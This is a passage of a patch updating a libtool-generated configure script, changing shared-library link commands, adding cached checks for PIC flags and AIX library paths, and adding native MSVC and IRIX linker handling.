+ lt_prog_compiler_wl='-Qoption ld ';;
+ *)
+ lt_prog_compiler_wl='-Wl,';;
+@@ -8882,13 +9393,17 @@ case $host_os in
+ lt_prog_compiler_pic="$lt_prog_compiler_pic -DPIC"
+ ;;
+ esac
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic" >&5
+-$as_echo "$lt_prog_compiler_pic" >&6; }
+-
+-
+-
+-
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
++$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
++if ${lt_cv_prog_compiler_pic+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_prog_compiler_pic=$lt_prog_compiler_pic
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_pic" >&5
++$as_echo "$lt_cv_prog_compiler_pic" >&6; }
++lt_prog_compiler_pic=$lt_cv_prog_compiler_pic
+
+ #
+ # Check to make sure the PIC flag actually works.
+@@ -8949,6 +9464,11 @@ fi
+
+
+
++
++
++
++
++
+ #
+ # Check to make sure the static flag actually works.
+ #
+@@ -9299,7 +9819,8 @@ _LT_EOF
+ allow_undefined_flag=unsupported
+ always_export_symbols=no
+ enable_shared_with_static_runtimes=yes
+- export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
++ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/;s/^.*[ ]__nm__\([^ ]*\)[ ][^ ]*/\1 DATA/;/^I[ ]/d;/^[AITW][ ]/s/.* //'\'' | sort | uniq > $export_symbols'
++ exclude_expsyms='[_]+GLOBAL_OFFSET_TABLE_|[_]+GLOBAL__[FID]_.*|[_]+head_[A-Za-z0-9_]+_dll|[A-Za-z0-9_]+_dll_iname'
+
+ if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
+ archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
+@@ -9398,12 +9919,12 @@ _LT_EOF
+ whole_archive_flag_spec='--whole-archive$convenience --no-whole-archive'
+ hardcode_libdir_flag_spec=
+ hardcode_libdir_flag_spec_ld='-rpath $libdir'
+- archive_cmds='$LD -shared $libobjs $deplibs $compiler_flags -soname $soname -o $lib'
++ archive_cmds='$LD -shared $libobjs $deplibs $linker_flags -soname $soname -o $lib'
+ if test "x$supports_anon_versioning" = xyes; then
+ archive_expsym_cmds='echo "{ global:" > $output_objdir/$libname.ver~
+ cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
+ echo "local: *; };" >> $output_objdir/$libname.ver~
+- $LD -shared $libobjs $deplibs $compiler_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
++ $LD -shared $libobjs $deplibs $linker_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
+ fi
+ ;;
+ esac
+@@ -9417,8 +9938,8 @@ _LT_EOF
+ archive_cmds='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
+ wlarc=
+ else
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ fi
+ ;;
+
+@@ -9436,8 +9957,8 @@ _LT_EOF
+
+ _LT_EOF
+ elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ else
+ ld_shlibs=no
+ fi
+@@ -9483,8 +10004,8 @@ _LT_EOF
+
+ *)
+ if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ else
+ ld_shlibs=no
+ fi
+@@ -9614,7 +10135,13 @@ _LT_EOF
+ allow_undefined_flag='-berok'
+ # Determine the default libpath from the value encoded in an
+ # empty executable.
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ if test "${lt_cv_aix_libpath+set}" = set; then
++ aix_libpath=$lt_cv_aix_libpath
++else
++ if ${lt_cv_aix_libpath_+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+
+ int
+@@ -9627,22 +10154,29 @@ main ()
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+
+-lt_aix_libpath_sed='
+- /Import File Strings/,/^$/ {
+- /^0/ {
+- s/^0 *\(.*\)$/\1/
+- p
+- }
+- }'
+-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-# Check for a 64-bit object if we didn't find anything.
+-if test -z "$aix_libpath"; then
+- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-fi
++ lt_aix_libpath_sed='
++ /Import File Strings/,/^$/ {
++ /^0/ {
++ s/^0 *\([^ ]*\) *$/\1/
++ p
++ }
++ }'
++ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ # Check for a 64-bit object if we didn't find anything.
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ fi
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_="/usr/lib:/lib"
++ fi
++
++fi
++
++ aix_libpath=$lt_cv_aix_libpath_
++fi
+
+ hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
+ archive_expsym_cmds='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
+@@ -9654,7 +10188,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ else
+ # Determine the default libpath from the value encoded in an
+ # empty executable.
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ if test "${lt_cv_aix_libpath+set}" = set; then
++ aix_libpath=$lt_cv_aix_libpath
++else
++ if ${lt_cv_aix_libpath_+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+
+ int
+@@ -9667,22 +10207,29 @@ main ()
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+
+-lt_aix_libpath_sed='
+- /Import File Strings/,/^$/ {
+- /^0/ {
+- s/^0 *\(.*\)$/\1/
+- p
+- }
+- }'
+-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-# Check for a 64-bit object if we didn't find anything.
+-if test -z "$aix_libpath"; then
+- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-fi
++ lt_aix_libpath_sed='
++ /Import File Strings/,/^$/ {
++ /^0/ {
++ s/^0 *\([^ ]*\) *$/\1/
++ p
++ }
++ }'
++ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ # Check for a 64-bit object if we didn't find anything.
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ fi
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_="/usr/lib:/lib"
++ fi
++
++fi
++
++ aix_libpath=$lt_cv_aix_libpath_
++fi
+
+ hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
+ # Warning - without using the other run time loading flags,
+@@ -9727,20 +10274,63 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ # Microsoft Visual C++.
+ # hardcode_libdir_flag_spec is actually meaningless, as there is
+ # no search path for DLLs.
+- hardcode_libdir_flag_spec=' '
+- allow_undefined_flag=unsupported
+- # Tell ltmain to make .lib files, not .a files.
+- libext=lib
+- # Tell ltmain to make .dll files, not .so files.
+- shrext_cmds=".dll"
+- # FIXME: Setting linknames here is a bad hack.
+- archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
+- # The linker will automatically build a .lib file if we build a DLL.
+- old_archive_from_new_cmds='true'
+- # FIXME: Should let the user specify the lib program.
+- old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
+- fix_srcfile_path='`cygpath -w "$srcfile"`'
+- enable_shared_with_static_runtimes=yes
++ case $cc_basename in
++ cl*)
++ # Native MSVC
++ hardcode_libdir_flag_spec=' '
++ allow_undefined_flag=unsupported
++ always_export_symbols=yes
++ file_list_spec='@'
++ # Tell ltmain to make .lib files, not .a files.
++ libext=lib
++ # Tell ltmain to make .dll files, not .so files.
++ shrext_cmds=".dll"
++ # FIXME: Setting linknames here is a bad hack.
++ archive_cmds='$CC -o $output_objdir/$soname $libobjs $compiler_flags $deplibs -Wl,-dll~linknames='
++ archive_expsym_cmds='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
++ sed -n -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' -e '1\\\!p' < $export_symbols > $output_objdir/$soname.exp;
++ else
++ sed -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' < $export_symbols > $output_objdir/$soname.exp;
++ fi~
++ $CC -o $tool_output_objdir$soname $libobjs $compiler_flags $deplibs "@$tool_output_objdir$soname.exp" -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~
++ linknames='
++ # The linker will not automatically build a static lib if we build a DLL.
++ # _LT_TAGVAR(old_archive_from_new_cmds, )='true'
++ enable_shared_with_static_runtimes=yes
++ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1,DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
++ # Don't use ranlib
++ old_postinstall_cmds='chmod 644 $oldlib'
++ postlink_cmds='lt_outputfile="@OUTPUT@"~
++ lt_tool_outputfile="@TOOL_OUTPUT@"~
++ case $lt_outputfile in
++ *.exe|*.EXE) ;;
++ *)
++ lt_outputfile="$lt_outputfile.exe"
++ lt_tool_outputfile="$lt_tool_outputfile.exe"
++ ;;
++ esac~
++ if test "$MANIFEST_TOOL" != ":" && test -f "$lt_outputfile.manifest"; then
++ $MANIFEST_TOOL -manifest "$lt_tool_outputfile.manifest" -outputresource:"$lt_tool_outputfile" || exit 1;
++ $RM "$lt_outputfile.manifest";
++ fi'
++ ;;
++ *)
++ # Assume MSVC wrapper
++ hardcode_libdir_flag_spec=' '
++ allow_undefined_flag=unsupported
++ # Tell ltmain to make .lib files, not .a files.
++ libext=lib
++ # Tell ltmain to make .dll files, not .so files.
++ shrext_cmds=".dll"
++ # FIXME: Setting linknames here is a bad hack.
++ archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
++ # The linker will automatically build a .lib file if we build a DLL.
++ old_archive_from_new_cmds='true'
++ # FIXME: Should let the user specify the lib program.
++ old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
++ enable_shared_with_static_runtimes=yes
++ ;;
++ esac
+ ;;
+
+ darwin* | rhapsody*)
+@@ -9801,7 +10391,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
+ freebsd* | dragonfly*)
+- archive_cmds='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
+ hardcode_libdir_flag_spec='-R$libdir'
+ hardcode_direct=yes
+ hardcode_shlibpath_var=no
+@@ -9809,7 +10399,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ hpux9*)
+ if test "$GCC" = yes; then
+- archive_cmds='$RM $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
++ archive_cmds='$RM $output_objdir/$soname~$CC -shared $pic_flag ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+ else
+ archive_cmds='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+ fi
+@@ -9825,7 +10415,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ hpux10*)
+ if test "$GCC" = yes && test "$with_gnu_ld" = no; then
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+ else
+ archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
+ fi
+@@ -9849,10 +10439,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ archive_cmds='$CC -shared ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ ia64*)
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ *)
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ esac
+ else
+@@ -9931,23 +10521,36 @@ fi
+
+ irix5* | irix6* | nonstopux*)
+ if test "$GCC" = yes; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ # Try to use the -exported_symbol ld option, if it does not
+ # work, assume that -exports_file does not work either and
+ # implicitly export all symbols.
+- save_LDFLAGS="$LDFLAGS"
+- LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ # This should be the same for all languages, so no per-tag cache variable.
++ { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $host_os linker accepts -exported_symbol" >&5
++$as_echo_n "checking whether the $host_os linker accepts -exported_symbol... " >&6; }
++if ${lt_cv_irix_exported_symbol+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ save_LDFLAGS="$LDFLAGS"
++ LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+-int foo(void) {}
++int foo (void) { return 0; }
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
+-
++ lt_cv_irix_exported_symbol=yes
++else
++ lt_cv_irix_exported_symbol=no
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+- LDFLAGS="$save_LDFLAGS"
++ LDFLAGS="$save_LDFLAGS"
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_irix_exported_symbol" >&5
++$as_echo "$lt_cv_irix_exported_symbol" >&6; }
++ if test "$lt_cv_irix_exported_symbol" = yes; then
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
++ fi
+ else
+ archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -o $lib'
+ archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib'
+@@ -10032,7 +10635,7 @@ rm -f core conftest.err conftest.$ac_objext \
+ osf4* | osf5*) # as osf3* with the addition of -msym flag
+ if test "$GCC" = yes; then
+ allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*'
+- archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ archive_cmds='$CC -shared${allow_undefined_flag} $pic_flag $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
+ else
+ allow_undefined_flag=' -expect_unresolved \*'
+@@ -10051,9 +10654,9 @@ rm -f core conftest.err conftest.$ac_objext \
+ no_undefined_flag=' -z defs'
+ if test "$GCC" = yes; then
+ wlarc='${wl}'
+- archive_cmds='$CC -shared ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
+ archive_expsym_cmds='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
+- $CC -shared ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
++ $CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
+ else
+ case `$CC -V 2>&1` in
+ *"Compilers 5.0"*)
+@@ -10629,8 +11232,9 @@ cygwin* | mingw* | pw32* | cegcc*)
+ need_version=no
+ need_lib_prefix=no
+
+- case $GCC,$host_os in
+- yes,cygwin* | yes,mingw* | yes,pw32* | yes,cegcc*)
++ case $GCC,$cc_basename in
++ yes,*)
++ # gcc
+ library_names_spec='$libname.dll.a'
+ # DLL is installed to $(libdir)/../bin by postinstall_cmds
+ postinstall_cmds='base_file=`basename \${file}`~
+@@ -10663,13 +11267,71 @@ cygwin* | mingw* | pw32* | cegcc*)
+ library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
+ ;;
+ esac
++ dynamic_linker='Win32 ld.exe'
++ ;;
++
++ *,cl*)
++ # Native MSVC
++ libname_spec='$name'
++ soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
++ library_names_spec='${libname}.dll.lib'
++
++ case $build_os in
++ mingw*)
++ sys_lib_search_path_spec=
++ lt_save_ifs=$IFS
++ IFS=';'
++ for lt_path in $LIB
++ do
++ IFS=$lt_save_ifs
++ # Let DOS variable expansion print the short 8.3 style file name.
++ lt_path=`cd "$lt_path" 2>/dev/null && cmd //C "for %i in (".") do @echo %~si"`
++ sys_lib_search_path_spec="$sys_lib_search_path_spec $lt_path"
++ done
++ IFS=$lt_save_ifs
++ # Convert to MSYS style.
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | sed -e 's|\\\\|/|g' -e 's| \\([a-zA-Z]\\):| /\\1|g' -e 's|^ ||'`
++ ;;
++ cygwin*)
++ # Convert to unix form, then to dos form, then back to unix form
++ # but this time dos style (no spaces!) so that the unix form looks
++ # like /cygdrive/c/PROGRA~1:/cygdr...
++ sys_lib_search_path_spec=`cygpath --path --unix "$LIB"`
++ sys_lib_search_path_spec=`cygpath --path --dos "$sys_lib_search_path_spec" 2>/dev/null`
++ sys_lib_search_path_spec=`cygpath --path --unix "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
++ ;;
++ *)
++ sys_lib_search_path_spec="$LIB"
++ if $ECHO "$sys_lib_search_path_spec" | $GREP ';[c-zC-Z]:/' >/dev/null; then
++ # It is most probably a Windows format PATH.
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
++ else
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
++ fi
++ # FIXME: find the short name or the path components, as spaces are
++ # common. (e.g. "Program Files" -> "PROGRA~1")
++ ;;
++ esac
++
++ # DLL is installed to $(libdir)/../bin by postinstall_cmds
++ postinstall_cmds='base_file=`basename \${file}`~
++ dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i; echo \$dlname'\''`~
++ dldir=$destdir/`dirname \$dlpath`~
++ test -d \$dldir || mkdir -p \$dldir~
++ $install_prog $dir/$dlname \$dldir/$dlname'
++ postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
++ dlpath=$dir/\$dldll~
++ $RM \$dlpath'
++ shlibpath_overrides_runpath=yes
++ dynamic_linker='Win32 link.exe'
+ ;;
+
+ *)
++ # Assume MSVC wrapper
+ library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
++ dynamic_linker='Win32 ld.exe'
+ ;;
+ esac
+- dynamic_linker='Win32 ld.exe'
+ # FIXME: first we should search . and the directory the executable is in
+ shlibpath_var=PATH
+ ;;
+@@ -11571,7 +12233,7 @@ else
+ lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
+ lt_status=$lt_dlunknown
+ cat > conftest.$ac_ext <<_LT_EOF
+-#line 11574 "configure"
++#line $LINENO "configure"
+ #include "confdefs.h"
+
+ #if HAVE_DLFCN_H
+@@ -11615,10 +12277,10 @@ else
+ /* When -fvisbility=hidden is used, assume the code has been annotated
+ correspondingly for the symbols needed. */
+ #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
+-void fnord () __attribute__((visibility("default")));
++int fnord () __attribute__((visibility("default")));
+ #endif
+
+-void fnord () { int i=42; }
++int fnord () { return 42; }
+ int main ()
+ {
+ void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
+@@ -11677,7 +12339,7 @@ else
+ lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
+ lt_status=$lt_dlunknown
+ cat > conftest.$ac_ext <<_LT_EOF
+-#line 11680 "configure"
++#line $LINENO "configure"
+ #include "confdefs.h"
+
+ #if HAVE_DLFCN_H
+@@ -11721,10 +12383,10 @@ else
+ /* When -fvisbility=hidden is used, assume the code has been annotated
+ correspondingly for the symbols needed. */
+ #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
+-void fnord () __attribute__((visibility("default")));
++int fnord () __attribute__((visibility("default")));
+ #endif
+
+-void fnord () { int i=42; }
++int fnord () { return 42; }
+ int main ()
+ {
+ void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
+@@ -15010,13 +15672,20 @@ exeext='`$ECHO "$exeext" | $SED "$delay_single_quote_subst"`'
+ lt_unset='`$ECHO "$lt_unset" | $SED "$delay_single_quote_subst"`'
+ lt_SP2NL='`$ECHO "$lt_SP2NL" | $SED "$delay_single_quote_subst"`'
+ lt_NL2SP='`$ECHO "$lt_NL2SP" | $SED "$delay_single_quote_subst"`'
++lt_cv_to_host_file_cmd='`$ECHO "$lt_cv_to_host_file_cmd" | $SED "$delay_single_quote_subst"`'
++lt_cv_to_tool_file_cmd='`$ECHO "$lt_cv_to_tool_file_cmd" | $SED "$delay_single_quote_subst"`'
+ reload_flag='`$ECHO "$reload_flag" | $SED "$delay_single_quote_subst"`'
+ reload_cmds='`$ECHO "$reload_cmds" | $SED "$delay_single_quote_subst"`'
+ OBJDUMP='`$ECHO "$OBJDUMP" | $SED "$delay_single_quote_subst"`'
+ deplibs_check_method='`$ECHO "$deplibs_check_method" | $SED "$delay_single_quote_subst"`'
+ file_magic_cmd='`$ECHO "$file_magic_cmd" | $SED "$delay_single_quote_subst"`'
++file_magic_glob='`$ECHO "$file_magic_glob" | $SED "$delay_single_quote_subst"`'
++want_nocaseglob='`$ECHO "$want_nocaseglob" | $SED "$delay_single_quote_subst"`'
++DLLTOOL='`$ECHO "$DLLTOOL" | $SED "$delay_single_quote_subst"`'
++sharedlib_from_linklib_cmd='`$ECHO "$sharedlib_from_linklib_cmd" | $SED "$delay_single_quote_subst"`'
+ AR='`$ECHO "$AR" | $SED "$delay_single_quote_subst"`'
+ AR_FLAGS='`$ECHO "$AR_FLAGS" | $SED "$delay_single_quote_subst"`'
++archiver_list_spec='`$ECHO "$archiver_list_spec" | $SED "$delay_single_quote_subst"`'
+ STRIP='`$ECHO "$STRIP" | $SED "$delay_single_quote_subst"`'
+ RANLIB='`$ECHO "$RANLIB" | $SED "$delay_single_quote_subst"`'
+ old_postinstall_cmds='`$ECHO "$old_postinstall_cmds" | $SED "$delay_single_quote_subst"`'
+@@ -15031,14 +15700,17 @@ lt_cv_sys_global_symbol_pipe='`$ECHO "$lt_cv_sys_global_symbol_pipe" | $SED "$de
+ lt_cv_sys_global_symbol_to_cdecl='`$ECHO "$lt_cv_sys_global_symbol_to_cdecl" | $SED "$delay_single_quote_subst"`'
+ lt_cv_sys_global_symbol_to_c_name_address='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address" | $SED "$delay_single_quote_subst"`'
